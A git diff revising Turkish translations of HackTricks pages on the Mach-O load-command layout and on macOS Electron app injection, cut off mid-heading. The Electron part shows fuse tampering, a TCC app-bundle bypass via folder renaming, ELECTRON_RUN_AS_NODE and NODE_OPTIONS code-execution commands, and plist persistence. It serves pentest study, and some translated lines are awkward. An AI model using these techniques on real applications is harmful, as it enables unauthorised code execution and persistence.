**dosyanın düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gereken **paylaşılan kütüphaneler** ayrıntılı olarak açıklanır. Talimatlar, binary'nin belleğe yükleme süreci hakkında dinamik yükleyici **(dyld)**'ye sağlanır. +**Dosyanın bellekteki düzeni** burada belirtilir, **sembol tablosunun konumu**, yürütme başlangıcında ana iş parçacığının bağlamı ve gerekli **paylaşılan kütüphaneler** detaylandırılır. Talimatlar, ikincil belleğe yüklenen ikili dosyanın yükleme süreci hakkında dinamik yükleyici **(dyld)** için sağlanır. -Kullanılan yapı, bahsedilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır: +Kullanılan yapı, belirtilen **`loader.h`** içinde tanımlanan **load\_command** yapısıdır: ```objectivec struct load_command { uint32_t cmd; /* type of load command */ uint32_t cmdsize; /* total size of command in bytes */ }; ``` -Sistem farklı şekillerde işlenen yaklaşık **50 farklı yükleme komutu** bulunmaktadır. En yaygın olanlar şunlardır: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`. +Sistem farklı şekillerde işlediği yaklaşık **50 farklı yükleme komutu türü** bulunmaktadır. En yaygın olanlar şunlardır: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` ve `LC_CODE_SIGNATURE`. ### **LC\_SEGMENT/LC\_SEGMENT\_64** {% hint style="success" %} -Temel olarak, bu tür Yükleme Komutu, ikili dosya çalıştırıldığında **Veri bölümünde belirtilen ofsetlere göre \_\_TEXT** (yürütülebilir kod) **ve \_\_DATA** (işlem için veri) **segmentlerinin nasıl yükleneceğini** tanımlar. +Temelde, bu tür Yükleme Komutları, ikili dosya yürütüldüğünde **\_\_TEXT** (yürütülebilir kod) ve **\_\_DATA** (işlem için veri) **segmentlerini** yüklemenin **veri bölümünde belirtilen ofsetlere göre** nasıl yükleneceğini tanımlar. {% endhint %} -Bu komutlar, bir işlem çalıştırıldığında **sanal bellek alanına eşlenen segmentleri** tanımlar. +Bu komutlar, bir işlemin yürütüldüğünde **sanal bellek alanına eşlenen segmentleri tanımlar**. -\_\_TEXT segmenti, bir programın yürütülebilir kodunu içeren ve işlem tarafından kullanılan verileri içeren \_\_DATA segmenti gibi **farklı türlerde segmentler** bulunmaktadır. Bu segmentler, Mach-O dosyasının veri bölümünde bulunur. +**Farklı türlerde** segmentler bulunmaktadır, örneğin bir programın yürütülebilir kodunu içeren **\_\_TEXT** segmenti ve işlem tarafından kullanılan verileri içeren **\_\_DATA** segmenti. Bu **segmentler**, Mach-O dosyasının veri bölümünde bulunmaktadır. -**Her segment**, daha fazla **bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümlerle ilgili bilgileri** içerir. +**Her segment**, daha fazla **bölünebilir** olan **birçok bölüme** ayrılabilir. **Yükleme komutu yapısı**, ilgili segment içindeki **bu bölümler hakkında bilgi** içerir. -Başlıkta önce **segment başlığı** bulunur: +Başlıkta önce **segment başlığını** bulursunuz: -
struct segment_command_64 { /* 64 bit mimariler için */
+
struct segment_command_64 { /* 64-bit mimariler için */
 uint32_t	cmd;		/* LC_SEGMENT_64 */
-uint32_t	cmdsize;	/* section_64 yapılarının sizeof'ını içerir */
+uint32_t	cmdsize;	/* section_64 yapılarının boyutunu içerir */
 char		segname[16];	/* segment adı */
 uint64_t	vmaddr;		/* bu segmentin bellek adresi */
 uint64_t	vmsize;		/* bu segmentin bellek boyutu */
 uint64_t	fileoff;	/* bu segmentin dosya ofseti */
-uint64_t	filesize;	/* dosyadan eşlenecek miktar */
+uint64_t	filesize;	/* dosyadan eşlenmesi gereken miktar */
 int32_t		maxprot;	/* maksimum VM koruması */
 int32_t		initprot;	/* başlangıç VM koruması */
 	uint32_t	nsects;		/* segmentteki bölüm sayısı */
@@ -169,11 +169,11 @@ int32_t		initprot;	/* başlangıç VM koruması */
 };
 
-Segment başlığı örneği: +Segment başlığının örneği:
-Bu başlık, **ardından görünen bölüm başlıklarının sayısını** tanımlar: +Bu başlık, **ardından görünen başlıkları olan bölümlerin sayısını** tanımlar: ```c struct section_64 { /* for 64-bit architectures */ char sectname[16]; /* name of this section */ @@ -190,52 +190,54 @@ uint32_t reserved2; /* reserved (for count or sizeof) */ uint32_t reserved3; /* reserved */ }; ``` -**Bölüm başlığı** örneği: +Örnek **bölüm başlığı**:
-Eğer **bölüm ofsetini** (0x37DC) + **mimarinin başladığı ofseti** (bu durumda `0x18000`) **eklerseniz**, `0x37DC + 0x18000 = 0x1B7DC` olur. +Eğer **bölüm ofseti** (0x37DC) + **mimarinin başladığı ofset** eklenirse, bu durumda `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` -
+
-Ayrıca **komut satırından** **başlık bilgilerini** almak da mümkündür: +Ayrıca **başlık bilgilerini** **komut satırından** almak da mümkündür: ```bash otool -lv /bin/ls ``` +```markdown Bu komut tarafından yüklenen yaygın bölümler: -* **`__PAGEZERO`:** Bu, çekirdeğe **adres sıfırı**nı **okunamaz, yazılamaz veya yürütülemez** olarak **haritalamak** için talimat verir. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu da bu sayfada **okuma-yazma-yürütme haklarının olmadığını** gösterir. -* Bu tahsis, **NULL işaretçi başvurusu açıklarını hafifletmek** için önemlidir. -* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** (yazılabilir değil) **yürütülebilir** **kod** içerir. Bu segmentin yaygın bölümleri: +* **`__PAGEZERO`:** Çekirdeğe **adres sıfırı**nı **haritalamaması** için talimat verir, böylece bu sayfada **okunamaz, yazılamaz veya yürütülemez**. Yapıdaki maxprot ve minprot değişkenleri sıfıra ayarlanır, bu sayfada **okuma-yazma-yürütme hakları olmadığını** belirtir. +* Bu tahsis, **NULL işaretçi sızdırmazlıklarını hafifletmek** için önemlidir. +* **`__TEXT`**: **Okunabilir** ve **yürütülebilir** izinlere sahip **yürütülebilir** **kod** içerir (yazılabilir değil)**.** Bu segmentin yaygın bölümleri: * `__text`: Derlenmiş ikili kod -* `__const`: Sabit veriler +* `__const`: Sabit veri * `__cstring`: Dize sabitleri -* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde yer alır -* **`__DATA`**: **Okunabilir** ve **yazılabilir** (yürütülemez) veriler içerir. -* `__data`: Başlatılmış global değişkenler +* `__stubs` ve `__stubs_helper`: Dinamik kitaplık yükleme sürecinde rol oynar +* **`__DATA`**: **Okunabilir** ve **yazılabilir** verileri içerir (yürütülebilir değil)**.** +* `__data`: Başlatılmış küresel değişkenler * `__bss`: Başlatılmamış statik değişkenler * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, vb.): Objective-C çalışma zamanı tarafından kullanılan bilgiler -* **`__LINKEDIT`**: "sembol, dize ve yerleştirme tablosu girişleri" gibi, bağlayıcı (dyld) için bilgiler içerir. -* **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgiler içerir. Bu bilgiler aynı zamanda \_\_DATA segmentinde de bulunabilir, çeşitli \_\_objc\_\* bölümlerinde bulunur. +* **`__LINKEDIT`**: Bağlayıcı için (dyld) "sembol, dize ve yer değiştirme tablosu girişleri" gibi bilgileri içerir. +* **`__OBJC`**: Objective-C çalışma zamanı tarafından kullanılan bilgileri içerir. Bu bilgiler ayrıca \_\_DATA segmentinde, çeşitli \_\_objc\_\* bölümlerinde de bulunabilir. ### **`LC_MAIN`** -**entryoff** özniteliğinde giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (hafızada) **ikilinin tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütmesini başlatır. +**entryoff özniteliğindeki** giriş noktasını içerir. Yükleme zamanında, **dyld** bu değeri (bellekteki) **ikili tabanına ekler**, ardından bu talimata atlayarak ikilinin kodunun yürütülmesini başlatır. ### **LC\_CODE\_SIGNATURE** Macho-O dosyasının **kod imzası hakkında bilgi** içerir. Yalnızca **imza bloğuna işaret eden bir ofset** içerir. Bu genellikle dosyanın sonunda bulunur.\ -Ancak, bu bölüm hakkında bazı bilgilere [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) ulaşabilirsiniz. +Ancak, bu bölümle ilgili bazı bilgileri [**bu blog yazısında**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) ve bu [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4) bulabilirsiniz. ### **LC\_LOAD\_DYLINKER** -Paylaşılan kitaplıkları işlem adres alanına eşleyen dinamik bağlayıcı yürütülebilirinin **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. Önemli bir nokta olarak, macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir. +Paylaşılan kitaplıkları işlem adres alanına haritalayan dinamik bağlayıcı yürütülebilir dosyanın **yolunu içerir**. **Değer her zaman `/usr/lib/dyld` olarak ayarlanır**. macOS'ta dylib eşlemesi **çekirdek modunda değil, kullanıcı modunda** gerçekleşir. ### **`LC_LOAD_DYLIB`** -Bu yükleme komutu, Mach-O ikilisinin gerektirdiği **dinamik kitaplık bağımlılığını tanımlar** ve **yükleyiciyi** (dyld) **bu kitaplığı yüklemesi ve bağlaması için yönlendirir**. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır. +Bu yükleme komutu, **yükleme ve bağlama talimatı veren** **dinamik** **kitaplık** bağımlılığını açıklar. Mach-O ikilisinin gerektirdiği her kitaplık için bir LC\_LOAD\_DYLIB yükleme komutu vardır. -* Bu yükleme komutu, gerçek bağımlı dinamik kitaplığı tanımlayan bir struct dylib içeren **`dylib_command`** türünde bir yapıdır: +* Bu yükleme komutu, **gerçek bağımlı dinamik kitaplığı tanımlayan** bir yapı türü olan **`dylib_command`** yapısını içerir: +``` ```objectivec struct dylib_command { uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ @@ -250,9 +252,7 @@ uint32_t current_version; /* library's current version number */ uint32_t compatibility_version; /* library's compatibility vers number*/ }; ``` -![](<../../../.gitbook/assets/image (558).png>) - -Bu bilgiyi ayrıca komut satırından da alabilirsiniz: +Ayrıca bu bilgiyi şu komutla da alabilirsiniz: ```bash otool -L /bin/ls /bin/ls: @@ -260,32 +260,32 @@ otool -L /bin/ls /usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0) ``` -Potansiyel kötü amaçlı yazılım ile ilişkili bazı kütüphaneler şunlardır: +Potansiyel kötü amaçlı yazılım ile ilişkili kütüphaneler şunlardır: * **DiskArbitration**: USB sürücülerini izleme * **AVFoundation:** Ses ve video yakalama * **CoreWLAN**: Wifi taramaları. {% hint style="info" %} -Bir Mach-O ikili dosyası, **LC\_MAIN**'de belirtilen adresten **önce** **çalıştırılacak** bir veya **daha fazla yapıcı** içerebilir.\ -Herhangi bir yapıcının ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_init\_func** bölümünde tutulur. +Bir Mach-O ikili dosyası, **LC\_MAIN** içinde belirtilen adresten **önce** **çalıştırılacak** bir veya **daha fazla** **kurucu** içerebilir.\ +Herhangi bir kurucunun ofsetleri, **\_\_DATA\_CONST** segmentinin **\_\_mod\_init\_func** bölümünde tutulur. {% endhint %} ## **Mach-O Verileri** -Dosyanın çekirdeğinde, yük komutları bölgesinde tanımlandığı gibi birkaç segmentten oluşan veri bölgesi bulunur. **Her segmentte birçok veri bölümü barındırılabilir**, her bölüm ise bir türe özgü kod veya veri içerir. +Dosyanın çekirdeğinde, yükleme komutları bölgesinde tanımlanan birkaç segmentten oluşan veri bölgesi bulunmaktadır. **Her segmentte çeşitli veri bölümleri barındırılabilir**, her bölüm de bir türe özgü kod veya veri içerir. {% hint style="success" %} -Veri, temel olarak yük komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır. +Veri, temelde yükleme komutları **LC\_SEGMENTS\_64** tarafından yüklenen tüm **bilgileri** içeren kısımdır. {% endhint %} -![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>) +![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>) Bu şunları içerir: -* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgi içerir. -* **Sembol tablosu**: İkili tarafından kullanılan harici fonksiyonlar hakkında bilgi içerir -* Ayrıca dahili fonksiyon, değişken adları ve daha fazlasını içerebilir. +* **Fonksiyon tablosu:** Program fonksiyonları hakkında bilgileri tutar. +* **Sembol tablosu**: İkili dosya tarafından kullanılan harici fonksiyonlar hakkındaki bilgileri içerir +* Ayrıca dahili fonksiyonları, değişken isimlerini ve daha fazlasını içerebilir. Bunu kontrol etmek için [**Mach-O View**](https://sourceforge.net/projects/machoview/) aracını kullanabilirsiniz: @@ -295,16 +295,18 @@ Veya komut satırından: ```bash size -m /bin/ls ``` -
+ -AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +<özet> -HackTricks'i desteklemenin diğer yolları: +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! +HackTricks'ı desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. -
+ diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 07bf54f91..0127a4c62 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -1,41 +1,41 @@ -# macOS Electron Uygulamalarında Enjeksiyon +# macOS Electron Uygulamaları Enjeksiyonu
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler -Electron nedir bilmiyorsanız, [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şimdilik sadece şunu bilin ki Electron **node** çalıştırır.\ -Ve node'un bazı **parametreleri** ve **çevresel değişkenleri** vardır ki bunlar, belirtilen dosyanın dışında başka kodları **çalıştırmak için kullanılabilir**. +Electron nedir bilmiyorsanız [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şu anda sadece bilmelisiniz ki Electron **node** çalıştırır.\ +Ve node'un **başka kodları çalıştırmasına izin veren** bazı **parametreleri** ve **çevresel değişkenleri** vardır. -### Electron Füzyonları +### Electron Sigortaları -Bu teknikler bir sonraki bölümde tartışılacak olsa da, Electron son zamanlarda bunları **önlemek için birkaç güvenlik bayrağı ekledi**. Bunlar [**Electron Füzyonları**](https://www.electronjs.org/docs/latest/tutorial/fuses) olarak adlandırılır ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı füzyonlardır: +Bu teknikler bir sonraki aşamada tartışılacak, ancak son zamanlarda Electron, bunları **önlemek için** birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Sigortaları**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı sigortalardır: -* **`RunAsNode`**: Devre dışı bırakılırsa, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanımını engeller. -* **`EnableNodeCliInspectArguments`**: Devre dışı bırakılırsa, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Böylece kod enjeksiyonunu önler. -* **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirilirse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu şekilde, bu dosyanın içeriğini değiştirerek kod enjeksiyonunu önler. -* **`OnlyLoadAppFromAsar`**: Bu etkinleştirilirse, yükleme sırasını aramak yerine sadece **`app.asar`**'ı kontrol eder ve kullanır. Bu şekilde, **`embeddedAsarIntegrityValidation`** füzyonuyla birleştirildiğinde doğrulanmamış kodun yüklenmesinin **imkansız** olduğunu garanti eder. -* **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirilirse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır. +* **`RunAsNode`**: Devre dışı bırakıldığında, kod enjekte etmek için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanılmasını engeller. +* **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Bu şekilde kod enjekte etme engellenir. +* **`EnableEmbeddedAsarIntegrityValidation`**: Eğer etkinse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** bu şekilde **önler**. +* **`OnlyLoadAppFromAsar`**: Bu etkinse, aşağıdaki sırayla yükleme arayışında olmak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'ı kontrol eder ve kullanır, böylece **`embeddedAsarIntegrityValidation`** sigortası ile birleştirildiğinde **doğrulanmamış kodun** yüklenmesinin **imkansız** olduğunu garanti eder. +* **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır. -Kod enjeksiyonunu önlemeyen başka bir ilginç füzyon: +Kod enjeksiyonunu önlemeyen başka ilginç bir sigorta ise: -* **EnableCookieEncryption**: Etkinleştirilirse, diskteki çerez deposu işletim sistemi düzeyinde şifreleme anahtarları kullanılarak şifrelenir. +* **EnableCookieEncryption**: Etkinse, diskteki çerez deposu işletim sistemi düzeyindeki şifreleme anahtarları kullanılarak şifrelenir. -### Electron Füzyonlarını Kontrol Etme +### Electron Sigortalarını Kontrol Etme -Bu bayrakları bir uygulamadan **kontrol edebilirsiniz**: +Bu bayrakları bir uygulamadan kontrol edebilirsiniz: ```bash npx @electron/fuses read --app /Applications/Slack.app @@ -49,37 +49,38 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Electron Füze Ayarlarını Değiştirme +### Electron Sigortalarını Değiştirme -[**Belgelerde**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode) belirtildiği gibi, **Electron Füze**nin yapılandırması, **Electron ikili** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içeren bir yer bulunur. +[Belgelerde belirtildiği gibi](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Sigortalarının** yapılandırması genellikle **Electron ikili dosyası** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içerir. -MacOS uygulamalarında genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` içinde bulunur. +MacOS uygulamalarında bu genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` dizinindedir. ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizeden sonra, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren ASCII'de bir "0" veya "1" numarası görebilirsiniz. Sadece hex kodunu (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek** için değiştirin. +Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin hemen sonrasında, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren bir "0" veya "1" sayısı ASCII olarak görünecektir. Sadece hex kodunu değiştirin (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek** için. -
+
-Ancak, bu baytları değiştirilmiş olarak bir uygulamanın içindeki **`Electron Framework` ikili** dosyasını **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır. +Uyarı: **`Electron Framework` ikili** dosyasını bu baytlar değiştirilmiş bir uygulamanın içine **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır. ## Electron Uygulamalarına Kod Ekleyerek Uzaktan Kod Çalıştırma (RCE) -Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu kodu uygulama bağlamında çalıştırabilir. +Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu dosyalarda keyfi kodları uygulama bağlamında çalıştırabilir. {% hint style="danger" %} -Ancak, şu anda 2 sınırlama bulunmaktadır: +Ancak, şu anda 2 kısıtlama bulunmaktadır: * Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** iznine **ihtiyaç** vardır, bu nedenle varsayılan olarak bu artık mümkün değildir. -* Derlenmiş **`asap`** dosyasının genellikle **`embeddedAsarIntegrityValidation`** ve **`onlyLoadAppFromAsar`** sigortaları **etkin** olarak ayarlıdır. +* Derlenmiş **`asap`** dosyasının genellikle füze **`embeddedAsarIntegrityValidation`** ve **`onlyLoadAppFromAsar`** `etkin` olarak ayarlanmıştır. Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir. + {% endhint %} -**`kTCCServiceSystemPolicyAppBundles`** gereksinimini atlamak mümkündür. Bunun için uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **asar** dosyasını **kötü niyetli** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak yapabilirsiniz. +`kTCCServiceSystemPolicyAppBundles` gereksinimini atlamak mümkündür, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'i **`app.app/NotCon`** olarak yeniden adlandırarak, **asar** dosyasını **zararlı** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak. -Asar dosyasından kodu çıkarabilirsiniz: +Asar dosyasından kodu açabilirsiniz: ```bash npx asar extract app.asar app-decomp ``` @@ -89,7 +90,7 @@ npx asar pack app-decomp app-new.asar ``` ## `ELECTRON_RUN_AS_NODE` ile Uzaktan Kod Çalıştırma (RCE) -[**Belgelere**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node) göre, bu çevre değişkeni ayarlandığında, işlem normal bir Node.js işlemi olarak başlatılır. +[**Belgelere**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node) göre, bu çevre değişkeni ayarlandığında işlem normal bir Node.js işlemi olarak başlatılacaktır. {% code overflow="wrap" %} ```bash @@ -101,12 +102,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ {% endcode %} {% hint style="danger" %} -Eğer **`RunAsNode`** füzesi devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz. +Eğer **`RunAsNode`** anahtarı devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz. {% endhint %} -### Uygulama Plist'ten Enjeksiyon +### Uygulama Plist Dosyasından Enjeksiyon -[**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist içinde kötüye kullanabilirsiniz: +[**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist dosyasında kötüye kullanabilirsiniz: ```xml @@ -145,12 +146,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di {% endcode %} {% hint style="danger" %} -Eğer **EnableNodeOptionsEnvironmentVariable** ayarı **devre dışı** bırakılmışsa, uygulama başlatıldığında **NODE_OPTIONS** ortam değişkenini **yoksayacak**, ancak **ELECTRON_RUN_AS_NODE** ortam değişkeni ayarlanmışsa, bu da **yoksayılacak**tır. Eğer **ELECTRON_RUN_AS_NODE** ayarını yapmazsanız, şu hatayı alırsınız: `Paketlenmiş uygulamalarda çoğu NODE_OPTION desteklenmez. Daha fazla ayrıntı için belgelere bakın.` +Eğer **`EnableNodeOptionsEnvironmentVariable`** füzyonu **devre dışı bırakılmışsa**, uygulama başlatıldığında **NODE_OPTIONS** çevresel değişkenini **yoksayar**. Bu durum, **`ELECTRON_RUN_AS_NODE`** çevresel değişkeni ayarlanmadığı sürece **yoksayılacaktır** ve bu da **`RunAsNode`** füzyonu devre dışı bırakılmışsa **yoksayılacaktır**. + +**`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, şu **hata** ile karşılaşırsınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` {% endhint %} ### Uygulama Plist'ten Enjeksiyon -Bu ortam değişkenini bir plist içinde kötüye kullanabilir ve süreklilik sağlayabilirsiniz. Aşağıdaki anahtarları ekleyin: +Bu çevresel değişkeni bir plist'te kötüye kullanarak kalıcılığı sürdürebilirsiniz, aşağıdaki anahtarları ekleyerek: ```xml EnvironmentVariables @@ -166,9 +169,9 @@ Bu ortam değişkenini bir plist içinde kötüye kullanabilir ve süreklilik sa ``` -## Denetim yaparak Uzaktan Kod Enjeksiyonu (RCE) +## Denetim yaparak Uzaktan Kod 